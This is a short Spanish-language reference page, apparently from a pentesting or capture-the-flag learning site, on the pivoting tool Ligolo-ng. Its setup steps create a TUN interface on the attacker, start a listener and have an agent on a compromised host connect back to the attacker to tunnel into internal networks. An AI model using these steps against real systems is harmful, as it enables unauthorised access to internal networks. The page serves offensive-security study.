the_open_door
café
ESEN
← Herramientas

Ligolo-ng

Pivoting por interfaz TUN: enruta redes internas sin proxychains ni reenvío de puertos manual.

Herramienta de pivoting moderna (Ligolo-ng) que crea una interfaz de red TUN en el atacante: enrutas la red interna como si fuera local, sin proxychains ni reenvío de puertos manual. Dos binarios: el proxy corre en el atacante y el agent en la víctima, que se conecta de vuelta.

Familia Pivoting y túneles

Flags ip tuntap tun ligolo · ip route add dev ligolo

Conceptos Local port forwarding (SSH tunnel), Pivoting with Ligolo-ng

Cheatsheet socat, ligolo y Meterpreter

Instalación

# ligolo-ng: proxy (atacante) + agent (pivote). Tunel por interfaz TUN, sin proxychains
# 1) Descargar 'proxy' (tu Kali) y 'agent' (SO del pivote) de las releases:
# 2) En el atacante, crear la interfaz TUN (una sola vez por arranque):
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
# 3) Arrancar el proxy (escucha agentes en :11601 y abre su consola):
./proxy -selfcert
# 4) Subir el agent al pivote y conectarlo de vuelta:
./agent -connect <lhost>:11601 -ignore-cert
# 5) En la consola del proxy: 'session' (elige agente) y luego 'start'
Repositoriogithub.com/nicocha30/ligolo-ng

Comandos útiles5 comandos

Aparece en

Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.